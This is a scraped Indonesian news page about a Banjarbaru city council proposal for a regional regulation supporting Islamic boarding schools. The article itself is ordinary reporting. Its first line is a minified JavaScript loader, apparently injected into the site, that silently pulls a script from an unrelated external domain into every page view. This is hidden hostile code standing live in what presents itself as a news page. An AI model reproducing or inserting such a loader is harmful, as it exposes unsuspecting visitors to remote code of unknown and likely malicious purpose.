(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

DPRD Banjarbaru Usulkan Raperda Inisiatif Pondok Pesantren


KANALKALIMANTAN.COM, BANJARBARU – Badan Pembentukan Peraturan Daerah (Bapemperda) DPRD Kota Banjarbaru mengusulkan Rancangan Peraturan Daerah (Raperda) usulan inisiatif tentang fasilitasi Pondok Pesantren (Ponpes), Senin (1/10/2021).

Raperda Ponpes itu sangat perlu dibuat sebagai fasilitas dalam bentuk pengakuan pondok pesantren sebagai lembaga pendidikan dalam mencerdaskan anak bangsa.

“Diharapkan dengan adanya Raperda ini peningkatan fasilitas pesantren dari pembinaan, pemberdayaan dan fasilitas diperhatikan,” ujar Norkhalis Anshari, juru bicara Bapemperda DPRD Banjarbaru.

Pembentukan Raperda didasari atas Undang-Undang Nomor 18 tahun 2019 tentang pesantren, salah satu pasal menjelaskan bahwa pemerintah dapat memfasilitasi penyelenggaraan pesantren.
Dilanjutkan dengan Peraturan Presiden Nomor 82 Tahun 2021 tentang Pendanaan Penyelenggaraan Pesantren.

 

Baca juga : Penggunaan Jalan Negara Tiga Kali Perpanjangan, Jalan Overpass PT STC Dipertanyakan

Di Kota Banjarbaru, lanjut Norkhalis, belum ada payung hukum mengenai pengaturan fasilitas pesantren di Kota Banjarbaru, sebagai asar hukum dalam rangka menjamin penyelenggaraan pesantren sebagai fungsi pendidikan, dakwah dan pemberdayaan masyarakat.

“Perda itu nanri bisa menjadi acuan pemerintah kota memperhatikan dan kepedulian kepada pesantren yang ada di Banjarbaru, seperti bantuan keuangan, sarana dan prasarana, serta beasiswa para santri. Juga sesaui dengan semboyan Banjarbaru Juara Maju, Agamis dan Sejahtera,” ujar politisi PKS ini.

Diakuinya Raperda ini merupakan salah satu support dari program Wali Kota Banjarbaru, dimana menjadikan Kota Banjarbaru yang agamis.

“Jadi dengan adanya payung hukum ini, pemerintah bisa menganggarkan. Akan tetapi, kita patut juga melihat keuangan daerah, seberapa mampu pemerintah bisa membantu pesantren yang ada di Kota Banjarbaru,” pungkasnya. (kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Kafilah HSU Paling Awal Tampil saat Pawai Ta’aruf MTQ

KANALKALIMANTAN.COM, RANTAU - Kafilah Hulu Sungai Utara (HSU) menjadi pembuka dalam parade Pawai Ta'aruf Musabaqah… Read More

6 menit ago

Pj Bupati HSU Hadiri Pembukaan MTQN XXXV Kalsel di Tapin

KANALKALIMANTAN.COM, RANTAU - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melambaikan tangan memberikan semangat untuk… Read More

1 jam ago

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

15 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

16 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

16 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

17 jam ago

This website uses cookies.